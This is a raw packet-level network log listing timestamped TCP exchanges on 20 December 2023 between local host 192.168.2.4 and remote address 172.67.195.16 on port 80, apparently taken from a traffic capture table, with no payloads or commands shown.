Dec 20, 2023 15:34:59.742948055 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.743540049 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.743587971 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.743633986 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.743654013 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.743666887 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.743710995 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.744477034 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744489908 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744512081 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744534016 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744543076 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.744584084 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.744806051 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744846106 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744864941 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744888067 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.744893074 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.744937897 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.745318890 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.745353937 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.745395899 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.745407104 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.745419979 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.745467901 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.746174097 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746222019 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746239901 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746253014 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746269941 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.746294975 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.746771097 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746787071 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746822119 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.746843100 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746855974 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.746896029 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.747364044 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.747420073 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.747440100 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.747453928 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.747466087 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.747497082 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.749119997 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749187946 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749207020 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749232054 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.749296904 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749347925 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.749797106 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749809980 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749847889 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.749897957 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749911070 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.749963045 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.750364065 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.750397921 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.750411987 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.750442028 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.750446081 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.750494957 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.751192093 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.751283884 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.751307011 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.751327038 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.751333952 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.751375914 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.751929045 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.751988888 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.752038002 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.752039909 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.752324104 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.752342939 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.752372980 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.752393007 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.752441883 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.752918959 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.752975941 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753024101 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.753092051 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753106117 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753144026 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.753730059 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753746033 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753793001 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753796101 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.753807068 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.753863096 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.754250050 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754273891 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754302025 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754317045 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.754323006 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754371881 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.754829884 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754848003 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754889965 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754892111 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.754909992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.754965067 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.755326033 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.755354881 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.755403042 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.755429983 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.755450964 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.755498886 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.755992889 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.756011963 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.756047964 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.756059885 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.756093025 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.756145954 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.757494926 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.757510900 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.757533073 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.757565022 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.757600069 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.757651091 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.758109093 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758227110 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758245945 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758274078 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.758295059 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758344889 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.758419991 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758459091 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758477926 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758501053 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.758519888 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.758574963 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.759735107 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.759749889 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.759803057 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.845390081 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.845408916 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.845427990 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.845499992 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.845516920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.845530987 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.845601082 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.845654011 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.846173048 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.846213102 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.846225977 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.846268892 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.847239017 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847263098 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847306013 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.847322941 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847338915 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847378016 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.847816944 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847866058 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.847867012 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847918034 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847961903 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.847980022 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.848295927 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.848309040 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.848356962 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.848375082 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.848422050 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.848444939 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.849128962 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.849147081 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.849164963 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.849179029 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.849184036 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.849214077 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.849972010 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.849984884 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850028992 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.850035906 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850055933 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850080967 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.850783110 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850833893 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.850845098 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850862980 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850893974 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.850913048 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.851672888 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.851686954 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.851699114 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.851722002 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.851747036 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.851748943 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.852484941 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.852503061 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.852533102 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.852561951 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.852576017 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.852616072 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.853498936 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.853521109 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.853539944 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.853545904 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.853579998 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.853606939 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.854393005 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.854410887 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.854434013 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.854441881 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.854458094 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.854485035 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.856002092 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.856060982 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.856415033 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.856465101 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.856511116 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.856901884 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.858999014 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859047890 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.859076023 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859096050 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859111071 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859144926 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.859505892 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859553099 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.859561920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859575987 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859608889 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859625101 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.859678984 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859693050 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.859725952 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.860104084 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860122919 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860148907 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.860199928 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860234022 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860249043 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.860759974 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860780001 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860793114 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860810995 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.860816956 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.860838890 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.861289024 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.861303091 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.861341953 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.861362934 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.861409903 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.861418009 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.861546993 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.861567020 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.861597061 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.862099886 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862118006 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862148046 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.862391949 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862409115 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862430096 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862445116 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.862452984 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862477064 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.862874031 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.862926006 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.862947941 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.863033056 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.863068104 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.863079071 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.863811970 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.863861084 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.863900900 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.863920927 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.863967896 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.864006996 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.864531040 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.864554882 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.864573002 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.864581108 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.864587069 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.864620924 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.865338087 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.865377903 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.865391016 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.865400076 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.865439892 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.865444899 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.866197109 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.866216898 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.866257906 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.866275072 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.866288900 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.866322041 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.867074966 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.867125988 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.867129087 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.867140055 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.867173910 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.867181063 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.868000984 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.868056059 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.868058920 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.868762970 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.868782997 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.868818045 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.868825912 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.868839979 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.868875980 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.869121075 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.869169950 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.869170904 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.869189978 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.869204044 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.869245052 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.870035887 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870049953 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870069981 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870084047 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870085955 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.870120049 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.870791912 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870816946 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870841980 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.870876074 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870889902 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.870930910 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.871619940 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.871642113 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.871665955 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.871685028 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.871705055 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.871717930 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.872490883 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.872543097 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.872561932 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.872580051 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.872596025 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.872620106 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.873369932 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.873388052 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.873419046 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.873446941 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.873460054 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.873490095 CET	49730	80	192.168.2.4	172.67.195.16
Dec 20, 2023 15:34:59.874300003 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.874313116 CET	80	49730	172.67.195.16	192.168.2.4
Dec 20, 2023 15:34:59.874336958 CET	80	49730	172.67.195.16	192.168.2.4
